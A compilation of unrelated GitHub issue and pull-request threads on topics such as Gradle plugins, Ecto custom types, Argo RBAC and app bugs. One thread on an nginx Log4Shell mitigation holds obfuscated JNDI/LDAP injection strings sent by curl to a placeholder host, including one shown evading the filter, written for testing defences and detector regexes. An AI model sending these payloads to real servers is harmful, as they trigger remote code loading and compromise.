updated the build requirements

Codecov Report

Merging #128 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #128   +/-   ##
=======================================
  Coverage   87.21%   87.21%
=======================================
  Files          13       13
  Lines        1909     1909
  Branches      358      358
=======================================
  Hits         1665     1665
  Misses        126      126
  Partials      118      118

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 50ad9eb...3d47f97. Read the comment docs.


feat: Allow configurable resultsPerPage in Gradle plugin

Add the configurability of resultsPerPage from https://github.com/jeremylong/DependencyCheck/pull/6843 to the Gradle plugin
Prerequisite for successful build is an update to the version of DependencyCheck that has that PR integrated due to a dependency on the new Settings.KEYS value

@jeremylong you missed this PR in your effort to get 10.0.3 out... means the current gradle doc pages are out-of-sync with the actual implementation

Thanks. I'll likely do another release soon to catch this up.


SS4 Flush

In SS4, when you run a phing, the /dev/build with flush step doesn't actually trigger a flush. I've noticed that opening a page after phing results in a wall of errors until I append ?flush=1 to the URL. I don't recall this being a problem with SS3, so my assumption is that something underlying has changed.

@nglasl FYI, this is the behaviour you get on Windows by default, which is why I always ran composer install and then phing apply_patches manually.
Then I just dev/build in browser.

I've put this one down as effort/hard as it may end up time consuming to debug. While it is possible to work around, ideally this isn't something you need to remember (unless it explicitly says you need to flush after phing has completed). If anyone has a PR for this, or even some ideas where the problem may lie (I'm leaning towards permissions), that would be warmly welcomed :)

I've put this one down as effort/hard as it may end up time consuming to debug. While it is possible to work around, ideally this isn't something you need to remember (unless it explicitly says you need to flush after phing has completed). If anyone has a PR for this, or even some ideas where the problem may lie (I'm leaning towards permissions), that would be warmly welcomed.

This one has been open for over a year, and I can't say it's something that I've noticed recently so perhaps it's resolved. I'm going to close this, and re-open if there's still an issue here.


Another evasion method

Received an anonymous tip (that sounds so weird but it's true), that certain evasion methods still work:
curl https://target.example.com -A '${${lower:${lower:jndi}}:ld${lower:ap}://<IP_ADDRESS>:1389/t}'

Ah yes, I saw those here: https://github.com/Neo23x0/log4shell-detector/issues/5#issuecomment-992995185
There could be multiple nesting levels. The only way to circumvent, from the top of my head, is to run the function that strips the thing recursively until there's no more found.

yes. i'm currently testing. will make PR in couple minutes

Also doing some local changes and tests, but I'm pretty confident you will have a working fix much quicker than me :grin:

Possible fix for this issue: https://github.com/infiniroot/nginx-mitigate-log4shell/blob/issue-9/mitigate-log4shell.conf
It works for the mentioned evasion method:
$ curl https://target.example.com -A '${${upper:${upper:jndi}}:ld${upper:ap}://<IP_ADDRESS>:1389/t}'
2021/12/14 12:11:38 [error] 10403#10403: *12601 [lua] rewrite_by_lua(luaheader.conf:44):25: Found potential log4j attack in header user-agent:${${upper:${upper:jndi}}:ld${upper:ap}://<IP_ADDRESS>:1389/t}, client: <IP_ADDRESS>, server: target.example.com, request: "GET / HTTP/1.1", host: "target.example.com"

$ curl https://target.example.com -A '${${lower:${lower:jndi}}:ld${lower:ap}://<IP_ADDRESS>:1389/t}'
2021/12/14 12:11:43 [error] 10403#10403: *12602 [lua] rewrite_by_lua(luaheader.conf:44):25: Found potential log4j attack in header user-agent:${${lower:${lower:jndi}}:ld${lower:ap}://<IP_ADDRESS>:1389/t}, client: <IP_ADDRESS>, server: target.example.com, request: "GET / HTTP/1.1", host: "target.example.com"

However a mix of lower and upper is not detected:
$ curl https://target.example.com -A '${${lower:${upper:jndi}}:ld${lower:ap}://<IP_ADDRESS>:1389/t}' -I
HTTP/1.1 200 OK

Did you see my PR? It fixes all of them.

Check out my Log4Shell-Rex, that already finds this: https://github.com/back2root/log4shell-rex

fixed by #12

https://gist.github.com/karanlyons/8635587fd4fa5ddb4071cc44bb497ab6:
>>> from log4shell_regexes import *
>>> t = lambda s: [k for k in test(s)]
>>> t('${${lower:${lower:jndi}}:ld${lower:ap}://<IP_ADDRESS>:1389/t}')
['NESTED_RE', 'NESTED_INCLUDING_ESCAPES_RE', 'ANY_RE', 'ANY_INCLUDING_ESCAPES_RE', 'NESTED_OPT_RCURLY_RE', 'NESTED_INCLUDING_ESCAPES_OPT_RCURLY_RE', 'ANY_OPT_RCURLY_RE', 'ANY_INCLUDING_ESCAPES_OPT_RCURLY_RE']


UV Layout Export as transparent png file

I was trying to use blender python as my UV unwrapped, but when I need UV layout to be exported it needs a display to draw, which is not feasible for me. Then I discovered that xatlas is also able to do that, but I do not know if it is able to export UV as a layout. It would be very helpful for me to have this feature added.
Thank You

Hi,
could you be provide an example of what specifically you expect to export? The only "image-related" binding I currently have is chart_image, which is however only a debug image.
Is your request related to #10?


Slicing

This branch primarily implements a new transformation which I call Attribute Slicing. After we have fully simplified the network (map unrolling, tuple flattening, etc), it splits the assertion into conjuncts -- if the assertion is not a conjunction, this does nothing. Assuming the attribute is a tuple, it then runs dependency analysis to see which elements of the attribute each conjunct depends upon.
For each conjunct, it creates a "slice" of the network, which is an equivalent nv program in which the attribute only contains the elements that the conjunct depends upon. It then runs our SMT solver on each of the slices, and reports a success iff all the slices do. The hope is that this will allow us to speed up analysis of large networks with complicated attributes, by splitting them into smaller pieces which can be run in parallel.
If any slice fails, we return a model as usual. Since the slice does not necessarily have all the elements of the attribute, we fill in the remaining elements with dummy values. We also keep a "mask" value as part of the Solution.t type -- this is a Syntax.value which has the same structure as the attribute values, but whose base types have been replaced with booleans. When printing the attribute values for the user, we only display those values whose boolean in the mask is true.
Major structural changes to the code:

Attribute slicing has been added into the pipeline when running smt classic encoding
The type Solution.t has been extended to contain an optional mask value. All transformations must now map back the mask value as well as attribute and symbolic values.

Minor changes:

Added a design pattern in Mutators.ml which hopefully captures the essence of many of our code transformations. It has so far only been used to implement two simple transformations; in the future I hope to update our existing transformations to use it as well.
Pulled out several transformations which were happening at the same time as others, in order to make them more general and explicit. These are:
** Removing 0- and 1-element tuples (previously a part of map unrolling)
** Replacing units with bools (previously a part of option unboxing)
** Replacing edges with pairs of nodes (previously a part of tuple flattening)
We can now register dependencies between command-line options -- for example, map unrolling requires inlining, so the -unroll option implies the -inline option. This makes it easier for us to tell what requirements a transformation has, and means we don't have to check lots of booleans at the site of the transformation.
Added several end-to-end tests for the slicing transformation.
Various bugfixes

Overall looks of great use! The minor changes are very nice.
Haven't looked into this too deeply but here are some questions:

In the (partial) evaluation, in the tget/tset cases when you cannot simplify them you create a match statement. Is this necessary? It seems a bit costly as it involves building and traversing lists and then introduces auxiliary variables in the SMT encoding (that will be thrown away by optimizations but this costs too -- I am obsessive with performance sorry!)
My gut feeling is that you can very easily implement these operations in the unboxed (well in the boxed too but who cares) SMT encoding and then you don't need to create match statements.
tget(lo,hi,expr) = lst <- encode[expr]; lst[lo,hi]
tset(lo,hi,e1,e2) = lst1 <- encode[e1]; lst2 <- encode[e2]; ... (replace elements in the lists)
Does that make sense? If that's the only reason you are doing this transformation we should definitely try to implement them in the SMT encoding. I can help with that.
"has been added into the pipeline when running smt classic encoding"
Is there any roadblock to do the same for the functional encoding? Last time I checked it's somewhat faster especially in computing the encoding of the network, so it would be nice if we can keep it in sync.

Let me know about these, if you/we can fix them, then let's fix them and then merge, otherwise go ahead and merge.
Less important:

"if the assertion is not a conjunction, this does nothing." It still does the attribute slicing right?
"We can now register dependencies between command-line options"
That's great! At some point, we should make it so that what transformations are required is computed based on the requested analyses and they are all done in one place instead of all over. That may not be entirely possible, but right now it is messy.

My gut feeling is that you can very easily implement these operations in the unboxed (well in the boxed too but who cares) SMT encoding and then you don't need to create match statements.
The TGet and TSet stuff is from a lot earlier; I just moved it to a new file. So I don't entirely remember my reasoning, but I think the only reason was so we wouldn't have to worry about TGets and TSets during SMT encoding. Having looked at the encoding (at least the unboxed one) it does seem like we could implement the operations there and have it be more efficient. I'm not totally sure how quickly I could do that, so perhaps we can create an issue and leave it for later.

Is there any roadblock to do the same for the functional encoding?
I'm afraid I've been rather neglecting the functional encoding; last I heard it wasn't working very well (that was a long time ago, though). Since it seems like it's still alive, I agree that it would be good to keep it in sync -- this probably involves creating tests that use it, since all the current ones use the classic encoding.

There's no fundamental reason we can't do slicing on the functional encoding. However, if I try to run our test suite with functional encoding, I get lots of errors (I actually get significantly fewer on the slicing branch, but still a lot). I wouldn't want to mess with it until it's in a working state. After that, we would need to modify run_smt_func; it ideally wouldn't use the srp type (sticking with Syntax.network) until the very end, since slicing operates on networks. While we're at it, it seems like run_smt_func and run_smt_classic share a lot of code that could be unified.

"if the assertion is not a conjunction, this does nothing." It still does the attribute slicing right?
Right.

At some point, we should make it so that what transformations are required is computed based on the requested analyses and they are all done in one place instead of all over.
Even more ambitiously, it would be lovely if we could come up with a way to combine these transformations so we don't have to do as many passes over the network. Essentially a way to do the transformations lazily.

In the meantime, I agree that it would be nice to have them all in one place. Right now I think most of them are in parse_input, with a couple in the solve_smt functions. I'm liking the idea of just making a dedicated transformation function that does all of them that are required.

The transformation function seems straightforward, so I can probably put that together tomorrow morning. The rest seem potentially longer and not directly related to the pull request, so I think I'll merge sooner rather than later and either work on them on master or create an issue.

The functional encoding won't work if you flatten tuples. You first need to create something of type SRP and then do all those transformations.
Also the functional encoding used to work, but some change seems to have broken it. On the example I tried renaming causes a crash, but I can't figure out why, other than that the code produced when converting to an SRP type seems wrong, but after three months of changes it's too hard for me to see why is that the case.
Anyway, probably something we need to figure out, but irrelevant to this PR.


 Even I am facing the same issue. Did you figure out a fix for this?

Execute the bin file for pspmigrator from /Users/user-name/go/bin.
 ./pspmigrator mutating pod

go install, installs the pspmigrator executable under the $GOPATH/bin. What were you expecting? Are you trying to use pspmigrator as a library?


Custom type inserting/updating changes the value of the field

Ecto changes field's value to the one produced by dump (https://github.com/elixir-lang/ecto/blob/master/lib/ecto/repo/model.ex#L22) which isn't quite convenient. Imagine that you have a JSON field before inserting/updating and then suddenly after that that's a string.

Yes, I need to invoke the "load" callback to custom types which are not being used yet. It is in my plans to do it today! :D

Was anything done here? Seeing this in Ecto 1.0.6. /cc @josevalim

Specifically, I have custom type with def type, do: :binary (it's actually stored as a binary in mysql), but my load returns a list of integers, converted from binary data. So when I run Repo.get, everything works, my field shows up as a list of integers. When I run Repo.insert, the model I get has my field in the raw binary state instead of a list. This causes poison to error out, because it's not a valid binary string.

It should work. Have you implemented dump? Can you put your implementation
online?
On Saturday, November 21, 2015, Maxim Chernyak aka hakunin <
<EMAIL_ADDRESS>wrote:

Specifically, I have custom type with def type, do: :binary (it's
actually stored as a binary in mysql), but my load returns a list of
integers, converted from binary data. So when I run Repo.get, everything
works, my field shows up as a list of integers. When I run Repo.insert, the
model I get has my field in the raw binary state instead of a list. This
causes poison to error out, because it's not a valid binary string.
—
Reply to this email directly or view it on GitHub
https://github.com/elixir-lang/ecto/issues/345#issuecomment-158615104.

--
José Valimwww.plataformatec.com.br
http://www.plataformatec.com.br/Founder and Director of R&D

@josevalim looks basically like this (notice how type is binary, but load returns list): https://gist.github.com/maxim/d4d9b940a70060fe82e6

There are a couple confusing things in your custom type implementation. You must only have two representations: the binary (db type) and the list (ecto type) one.

cast should receive any type and output the ecto type (list)
dump should receive the ecto type (list) and output the db type (binary)
load should receive the db type (binary) and output the ecto type (list)

Because your custom type is not obeying those rules, your types are indeed getting messed up. Keep in mind you also don't need to handle nil.

@josevalim I so wish I had this comment when I was learning to write a custom type. This was not clear to me from the docs, because they use the same type for ecto and database type, and provide no clarification for cases like mine. The only info is in the comments of the example there, and look what it says about "dump".

load should receive the db type (binary) and output the ecto type (list)

I guess as a side effect of other mess I had list somehow passed into load, so I added a clause to avoid an error.

Keep in mind you also don't need to handle nil.

What about load for an empty field in db?

What about load for an empty field in db?

I believe load wouldn't even be called.
Could you please send a pull request to improve the docs? I could swear this information was there, but apparently not so clearly. Thank you. :)

Yes, will make PR.

Here it is https://github.com/elixir-lang/ecto/pull/1095


fix(web-app): left nav margin bug

Closes #766

Added a margin-bottom to last element to prevent cut-off in small / short viewports

Testing:

[ ] http://localhost:3000/assets

[ ] Make sure there is a margin-top to nav item

ooh, just noticed this when pulling all the updated data in


Does not work with Mac

Tested several different ways and does not launch.

Agreed, I can’t get LeelaSabaki to run on my Mac.  I’ve only tried running it with the basic Leela 0.11, not Leela Zero.  After I enter the engine setup and start a new game, the GTP console will look like this:

LeelaSabaki> name
?NaN Sabaki v0.3.0

LeelaSabaki> version
?NaN :
         leelasabaki [—flat] …

LeelaSabaki> protocol_version
?NaN NS:
      —flat …

LeelaSabaki> list_commands
?NaN tmap….

Then, when I click on the board for my first move, I get this error message:
"Current board arrangement can’t be recreated on the GTP engine."
After that, it just says “connection error” for each GTP command.  See attached screenshots.  I'm running Sabaki v0.33.2 on an iMac OS 10.13.1.

@raspingbard It seems you are specifying the --help flag. LeelaSabaki only displays a help message when this flag is given and therefore it won't enter GTP mode or start Leela.

Since @raspingbard is able to run LeelaSabaki without problems (The help message is being displayed after all), I will close this issue.

Strange, I thought I had first tried it without the "--help" option and it didn't work.  That's when I tried the "--help" option.  Anyway, I removed the "--help" and "-g" options both and it started working.  Thanks for your help.

@agentneigh  In addition to the above guidelines, you need to enable executable permission on the LeelaSabaki file in the Terminal utility:
chmod +x
Also, make sure you have entered the Leela path in quotes (if there are any spaces in the path) in the Manage Engines dialog.


(perf): minor optimization on attributes extraction

small optimisation on fragment attributes computation

attributes object shape is fixed to minimal set of keys
pipe attributes computation is done once instead of multiple times.

Before
Stat         Avg     Stdev  Max
Latency (ms) 435.94  107.18 984.88
Req/Sec      224.9   47.2   278
Bytes/Sec    2.93 MB 621 kB 3.64 MB

After
Stat         Avg     Stdev  Max
Latency (ms) 382.2   93.89  994.23
Req/Sec      257     57.96  315
Bytes/Sec    3.36 MB 768 kB 4.13 MB

👍

@mo-gr Need Github PR approval.

@ruiaraujo Done

👍

👍


Change inner dtypes of structs to tuple lists

This change is necessary to keep the position of fields predictable.
This is related to #847

@philss I expected the order of the dtype to be respected given that we provide it as a list now and not a map. But that doesn't seem to work.
I crafted the following tests to test my hypothesis:
Mix.install([
  {:explorer,
   github: "elixir-explorer/explorer", branch: "ps-change-struct-inner-dtypes-to-keylists"}
])

alias Explorer.DataFrame
alias Explorer.Series

ExUnit.configure(exclude: [:skip])
ExUnit.start(autorun: false)

defmodule DTypeTest do
  use ExUnit.Case

  test "preserves manually provided dtype order" do
    assert {:struct, [{"b", :string}, {"a", :string}]} =
             [%{"a" => "a", "b" => "b"}, %{"b" => "b", "a" => "a"}]
             |> Series.from_list(dtype: {:struct, [{"b", :string}, {"a", :string}]})
             |> then(& &1.dtype)

    assert {:struct, [{"a", :string}, {"b", :string}]} =
             [%{"a" => "a", "b" => "b"}, %{"b" => "b", "a" => "a"}]
             |> Series.from_list(dtype: {:struct, [{"a", :string}, {"b", :string}]})
             |> then(& &1.dtype)
  end

  test "can cast dtype order" do
    assert {:struct, [{"b", :string}, {"a", :string}]} =
             [%{"a" => "a", "b" => "b"}, %{"b" => "b", "a" => "a"}]
             |> Series.from_list(dtype: {:struct, [{"a", :string}, {"b", :string}]})
             |> Series.cast({:struct, [{"b", :string}, {"a", :string}]})
             |> then(& &1.dtype)
  end

  test "infers correctly ordered dtype from ordered source" do
    assert {:struct, [{"b", :string}, {"a", :string}]} =
             """
             {"col": {"b": "b", "a": "a"}}
             """
             |> DataFrame.load_ndjson!()
             |> then(& &1["col"].dtype)

    assert {:struct, [{"a", :string}, {"b", :string}]} =
             """
             {"col": {"a": "a", "b": "b"}}
             """
             |> DataFrame.from_ndjson!()
             |> then(& &1["col"].dtype)
  end
end

ExUnit.run()

Output:
$ elixir test.exs
Excluding tags: [:skip]

  1) test can cast dtype order (DTypeTest)
     test.exs:27
     match (=) failed
     code:  assert {:struct, [{"b", :string}, {"a", :string}]} =
              [%{"a" => "a", "b" => "b"}, %{"b" => "b", "a" => "a"}]
              |> Series.from_list(dtype: {:struct, [{"a", :string}, {"b", :string}]})
              |> Series.cast({:struct, [{"b", :string}, {"a", :string}]})
              |> then(& &1.dtype)
     left:  {:struct, [{"b", :string}, {"a", :string}]}
     right: {:struct, [{"a", :string}, {"b", :string}]}
     stacktrace:
       test.exs:28: (test)

  2) test infers correctly ordered dtype from ordered source (DTypeTest)
     test.exs:35
     match (=) failed
     code:  assert {:struct, [{"b", :string}, {"a", :string}]} =
              "{\"col\": {\"b\": \"b\", \"a\": \"a\"}}\n"
              |> DataFrame.load_ndjson!()
              |> then(& &1["col"].dtype)
     left:  {:struct, [{"b", :string}, {"a", :string}]}
     right: {:struct, [{"a", :string}, {"b", :string}]}
     stacktrace:
       test.exs:36: (test)

  3) test preserves manually provided dtype order (DTypeTest)
     test.exs:15
     match (=) failed
     code:  assert {:struct, [{"b", :string}, {"a", :string}]} =
              [%{"a" => "a", "b" => "b"}, %{"b" => "b", "a" => "a"}]
              |> Series.from_list(dtype: {:struct, [{"b", :string}, {"a", :string}]})
              |> then(& &1.dtype)
     left:  {:struct, [{"b", :string}, {"a", :string}]}
     right: {:struct, [{"a", :string}, {"b", :string}]}
     stacktrace:
       test.exs:16: (test)

Finished in 0.3 seconds (0.00s async, 0.3s sync)
3 tests, 3 failures

Randomized with seed 206478

@maennchen yeah, I think some sorting I'm doing is not necessary. Let me try to fix it.

@maennchen please try again. I think it is correct now :)


add optional in-app browser for login

Breaking Change: Requires react-native-inappbrowser-reborn as peer dependency


Template tests

Why
Want to run template tests as part of the deployment process.
What changed

add test_templates release channel to prodvana. It should be run after canary is deployed.
created test_templates.py script that calls template tester to run some tests
added test_templates.yaml kube manifest for running test_templates.py; nixmodules_version from semaphore is passed the script via -m option
Added a nixmodules namespace to k8s
copied git-ro-key to nixmodules namespace
added jobs-auth to nixmodules namespace

Test plan
E2e test next time we build the disk.
Rollout
Describe any procedures or requirements needed to roll this out safely (or check the box below)

[x] This is fully backward and forward compatible

@pacharrin what would the flow look like if the tests failed?

@pacharrin what would the flow look like if the tests failed?

it will let canary in the new version but wont try to push it to the other channels.
we could enable automatic rollbacks but that could also be a problem because during a rollback all RC are updated at once so canary wont be fully updated by the time the tests start


Implement CI

We need CI implemented. We'll use the same system as dilate: circleci.

[x] Implement circleci in git repo
[x] Setup circleci project
[x] Add github badges

All done.


pod failed to be created - cannot set an ownerRef on a resource you can't delete

BUG REPORT
What happened:
Triggered the hello-world workflow using Argo Events and the workflow controller encountered the following error stating:
pods \"arguments-via-webhook-event\" is forbidden: cannot set an ownerRef on a resource you can't delete: User \"system:serviceaccount:dev-axis:argo-sa\" cannot delete pods in project
I'm assuming this has to do permissioning, but my cluster roles for argo-sa is in sync with the helm repo.
What you expected to happen:
The worklfow to run.
How to reproduce it (as minimally and precisely as possible):

Install Argo to cluster
Install Argo events to cluster
k create -f examples/webhook-with-resource-param.yaml (from argo events)
curl -d '{"message":"this is my first webhook"}' -H "Content-Type: application/json" -X POST http://webhook-dev-axis.devkubewd.dev.blackrock.com/hello2

Anything else we need to know?:
Running on OpenShift
argo-sa cluster role:
apiVersion: authorization.openshift.io/v1
kind: ClusterRole
metadata:
  creationTimestamp: 2018-07-09T21:34:43Z
  name: argo-cluster-role
  resourceVersion: "114466986"
  selfLink: /apis/authorization.openshift.io/v1/clusterroles/argo-cluster-role
  uid: e50bd3f0-83bf-11e8-8146-fa163e3d2f07
rules:
- apiGroups:
  - argoproj.io
  attributeRestrictions: null
  resources:
  - workflows
  verbs:
  - get
  - list
  - patch
  - update
  - watch
- apiGroups:
  - ""
  attributeRestrictions: null
  resources:
  - configmaps
  verbs:
  - get
  - list
  - watch
- apiGroups:
  - ""
  attributeRestrictions: null
  resources:
  - persistentvolumeclaims
  verbs:
  - create
  - delete
- apiGroups:
  - ""
  attributeRestrictions: null
  resources:
  - pods
  - pods/exec
  verbs:
  - create
  - get
  - list
  - patch
  - update
  - watch

Environment:

Argo version:

v2.1.0-beta1

Kubernetes version :

clientVersion:
  buildDate: 2018-04-13T22:29:03Z
  compiler: gc
  gitCommit: d4ab47518836c750f9949b9e0d387f20fb92260b
  gitTreeState: clean
  gitVersion: v1.10.1
  goVersion: go1.9.5
  major: "1"
  minor: "10"
  platform: darwin/amd64
serverVersion:
  buildDate: 2018-04-19T18:22:07Z
  compiler: gc
  gitCommit: a0ce1bc
  gitTreeState: clean
  gitVersion: v1.9.1+a0ce1bc657
  goVersion: go1.9.2
  major: ""
  minor: ""
  platform: linux/amd64

Other debugging information (if applicable):
time="2018-07-26T23:46:04Z" level=info msg="workflow controller configuration from rolling-otter-workflow-controller-configmap:\ninstanceID: \nserviceAccountName: argo-sa\nnamespace: dev-axis\nartifactRepository:\nexecutorImage: \"argoproj/argoexec:v2.1.0-beta1\"\n"
time="2018-07-26T23:46:04Z" level=info msg="Workflow Controller (version: v2.1.0-beta1) starting"
time="2018-07-26T23:46:04Z" level=info msg="Watch Workflow controller config map updates"
time="2018-07-26T23:46:04Z" level=info msg="Detected ConfigMap update. Updating the controller config."
time="2018-07-26T23:46:04Z" level=info msg="workflow controller configuration from rolling-otter-workflow-controller-configmap:\ninstanceID: \nserviceAccountName: argo-sa\nnamespace: dev-axis\nartifactRepository:\nexecutorImage: \"argoproj/argoexec:v2.1.0-beta1\"\n"
time="2018-07-26T23:48:59Z" level=info msg="Processing workflow" namespace=dev-axis workflow=arguments-via-webhook-event
time="2018-07-26T23:48:59Z" level=info msg="Updated phase  -> Running" namespace=dev-axis workflow=arguments-via-webhook-event
time="2018-07-26T23:48:59Z" level=info msg="Failed to create pod arguments-via-webhook-event (arguments-via-webhook-event): pods \"arguments-via-webhook-event\" is forbidden: cannot set an ownerRef on a resource you can't delete: User \"system:serviceaccount:dev-axis:argo-sa\" cannot delete pods in project \"dev-axis\", <nil>" namespace=dev-axis workflow=arguments-via-webhook-event

@jessesuen after adding the following delete role.. I got a slightly different error:
time="2018-07-27T12:43:28Z" level=info msg="Processing workflow" namespace=dev-axis workflow=arguments-via-webhook-event
time="2018-07-27T12:43:28Z" level=info msg="Updated phase  -> Running" namespace=dev-axis workflow=arguments-via-webhook-event
time="2018-07-27T12:43:28Z" level=info msg="Failed to create pod arguments-via-webhook-event (arguments-via-webhook-event): pods \"arguments-via-webhook-event\" is forbidden: cannot set blockOwnerDeletion if an ownerReference refers to a resource you can't set finalizers on: User \"system:serviceaccount:dev-axis:argo-sa\" cannot update workflows/finalizers.argoproj.io in project \"dev-axis\", <nil>" namespace=dev-axis workflow=arguments-via-webhook-event
time="2018-07-27T12:43:28Z" level=info msg="Pod node arguments-via-webhook-event (arguments-via-webhook-event) initialized Error (message: pods \"arguments-via-webhook-event\" is forbidden: cannot set blockOwnerDeletion if an ownerReference refers to a resource you can't set finalizers on: User \"system:serviceaccount:dev-axis:argo-sa\" cannot update workflows/finalizers.argoproj.io in project \"dev-axis\", <nil>)" namespace=dev-axis workflow=arguments-via-webhook-event

After finding this openshift issue, I updated the clusterrole to:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: argo-cluster-role
rules:
- apiGroups: ["argoproj.io"]
  resources: ["workflows", "workflows/finalizers"]
  verbs: ["get", "list", "watch", "update", "patch"]
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["get", "watch", "list"]
- apiGroups: [""]
  resources: ["persistentvolumeclaims"]
  verbs: ["create", "delete"]
- apiGroups: [""]
  resources: ["pods", "pods/exec", "pods/log"]
  verbs: ["create", "get", "list", "watch", "update", "patch", "delete"]

This worked!

Thanks for discovering this! I had no idea that */finalizers was a resource. I'll update the rules to include workflows/finalizers and delete.


Unable run basic example

I tried to run the basic example given. It doesn't run. I am getting this weird error.  Has anybody got success in using this lib?

It seems to be working now. Closing, but please reopen if that's still a problem for you.

I still have this problem.
in main.js
import MathLive from 'mathlive/dist/mathlive';
import Mathfield from 'mathlive/dist/vue-mathlive.mjs';
Vue.use(Mathfield, MathLive);

In my component
<mathlive-mathfield id="mf" ref="mathfield" :config="{smartFence:false}" v-on:focus="ping"
            :on-keystroke="displayKeystroke" v-model="formula">f(x)=</mathlive-mathfield>

TypeError: Cannot read property '0' of undefined

This repo was pointing to an older version of Mathlive. It has been updated now. I wasn't able to get exactly the same error you reported, but I hope that this update fixes it. If it doesn't please comment and reopen.


Received CELO push notification is not received on User B’s device when User A withdraws CELO to User B.

Frequency: 100%
Repro on build version: Android Internal build V1.31.0, iOS Test flight build V1.31.0, iOS Appstore Build V1.31.0, Android Play store build V 1.30.1
Repro on devices: Moto G40 fusion (11.0), Redmi Note 5 pro (9.0), Google Pixel 2XL (11.0), iPhone 12 mini (15.4.1), iPhone 13 mini (15.1.1), Redmi Note 7 Pro(10.0)
Pre-condition:

User A and user B must have completed the onboarding flow.
User B must have opened the app and backgrounded the valora app.
User A must have valid CELO balance & must be on withdraw CELO Screen.

Repro Steps:
1.User A: Complete the withdraw CELO flow by scanning the User B’s qr code.
2.User B: Navigate to notifications screen and observe.
Bug:  Received Celo push notification is not received on User B’s device when User A withdraws CELO and User B opens and backgrounds the app
Expected Behavior:  Received Celo push notification must be received on User B’s device when User A withdraws CELO and User B opens and backgrounds the app
Impact: Bad user impact as user will not get idea of received CELO if app is in background state.
Attachment: CELO push issue.mp4

Hey @MuckT, We have verified this issue on Latest Android Internal Release Build, iOS Test flight Release Build V1.32.0 & observed that the issue is fixed now.

User B receives the Received CELO push notification when User A withdraws CELO to User B.

Hence we are closing this issue.
Devices: iPhone 13 mini (15.1.1), iPhone 12 (14.7.1), Google Pixel XL (10.0), iPhone 12 (14.7.1)
Attachment: CELO Push.mp4
Thanks..!!

Hey @MuckT , We have verified above issue Latest Android Internal build V1.34.0, Test flight release build V1.34.0 & iOS App store build V 1.34.0 and observed the following:
Observation:
User B does not Received CELO push notification when User A withdraws CELO to User B.
Hence we are reopening the issue.
Devices: iPhone 12 mini(15.5), Google Pixel 4a (12.0), iPhone 7(13.3)
Attachment: Push notification.mp4
Thanks..!!

Hey @MuckT, We have verified this issue on Latest Android Internal Release Build, iOS App store Build V1.35.0 & observed that the issue is fixed now.

User B receives the Received CELO push notification when User A withdraws CELO to User B.

Hence we are closing this issue.
Devices: iPhone 13 mini (15.1.1), Google Pixel XL (10.0), Google Pixel 4a(12.0)
Attachment: CELO Push.mp4
Thanks..!!

Hey @MuckT , We have verified above issue on Latest Android Internal Release build V1.41.1 and Test flight release build V1.41.1 and observed the following:
Observation:
For Android Platform: User B is not receiving CELO push notification when User A withdraws CELO to User B.
For iOS Platform: User B receives the Received CELO push notification when User A withdraws CELO to User B.
Hence we are reopening the issue.
Devices: Google Pixel 4a (12.0), iPhone 13 mini(15.1.1), Google Pixel 2XL (11.0)
Attachment: Android push notification.mp4
Thanks..!!

No withdraw flow anymore on CELO page


Missing parameter documentation

          Thanks for adding these default values, however, I am still missing the description of these parameters. What do they actually control? Thanks for completing the documentation with the descriptions!

Originally posted by @tp-development in https://github.com/GBonnaire/jspreadsheet-plugins-and-editors/issues/20#issuecomment-1500416736

Hi,
You can found more informations on the parameters here : https://thisancog.github.io/statistics.js/
It's this library used by my plugins.

Generally wherever the following parameters are used: (multiple formulas)

scale, scaleOfFirstColumn, scaleOfSecondColumn
epsilon
spougeConstant

I didn't find information on what they control and what are their possible values.

Scales of measure
More info
Statistical variables are usually distinguished by there scale of measure. A scale of measure describes the nature of the data assigned to a variable and thus permits (and forbids) how the variable can be manipulated and treated by statistical methods. It is highly encouraged to declare the scale of measure for each variable, as statistics.js will prevent any methods that are not valid for a given variable based on its scale of measurement. (see above on how to define a variable’s scale of measure)
According to Stanley Smith Stevens’ typology, scales of measure can be ordered by their level of sophisticiation where a given scale inherits all the valid methods from its precursor and adds new features:
nominal scale: This scale allows for classification only. The possible values are all distinct and mutually exclusive, can not be ordered or quantified. Therefore, values allow only for equality, not for comparison, can not be summed, substracted, multiplied or divided. The mode – the most common value – can be computed. A nominal variable that has only two values is also called dichotomous. Examples: gender, nationality, genre.
ordinal scale: This scale introduces order in the form of ranks but does not account for the amount of difference between two given values. Values can be compared and sorted, but not summed, substracted, multiplied or divided. The median – the middle rank – can be computed. Some dichotomous variables can be on the ordinal scale if there is a sense of order, such as "guilty"/ "not guilty". Non-dichotomous examples include the Likert scale for measuring the level of agreement ("disagree", "somewhat disagree", "neutral", "somewhat agree", "agree") or school grades (where technically the difference between two values is not defined but often the arithmetic mean is calculated anyway).
interval scale: This scale extends the ordinal scale by defining the amount of difference between two given values, e.g. the base metric upon which the space of all valid values is constructed. It introduces addition and subtraction, but does not allow for multiplication nor division as it lacks a meaningful, natural zero. For example, on the Celsius temperature scale, it is not meaningful to say that 30°C is twice as hot as 15°C. On the interval scale, the arithmetic mean and the standard deviation can be determined. Examples: temperature on the Celsius scale (0°C is an arbitrary zero, whereas 0°K is a natural zero), percentage, location in space.
metric scale: This scale extends the interval scale by defining a meaningful zero and therefore permits multiplication and division. The geometric and the harmonic mean are introduced on this scale. Examples: mass, length, concentration of a chemical compound.
Settings
There are several settings you can adjust in order to change the behaviour of the library. You can pass one or several of them as an object upon initialisation.
epsilon (default: 0.00001): The calculation of some statistical methods would progress forever, however for computational means a stopping variable epsilon is introduced. It’s value is used as the boundary until where a iterative method will be executed. Generally, smaller values give more precision and result in longer computation times.
excludeColumns (default: ["ID", "id"]): Accepts an array of strings that are names of the columns to ignore when assigning a scale of measure.
spougeConstant (default: 40): Defines the constant a in Spouge’s approximation of the gamma function.
With this extract, do you have all answers ?

Yes, thanks for elaborating on this - I am good! Would you plan to include this information in the package documentation for other users that might have similar questions?

Yes, it's include on documentation.
Have a good day


Remove calendar page

I already made this, it'll be in my next PR.

@martiuh just make sure to add the closes #number-fo-the-issue on the description of the PR

Sure, I will do it @mishelashala


UI Improvement for "new post" section

What would you like to share?
The "Caption" text should be more visible and "upload" button is not eye catching.
Can I work on this?

Additional information
No response

Can I work on this issue

I am a GSSoC'23 Contributor

What would you like to share?
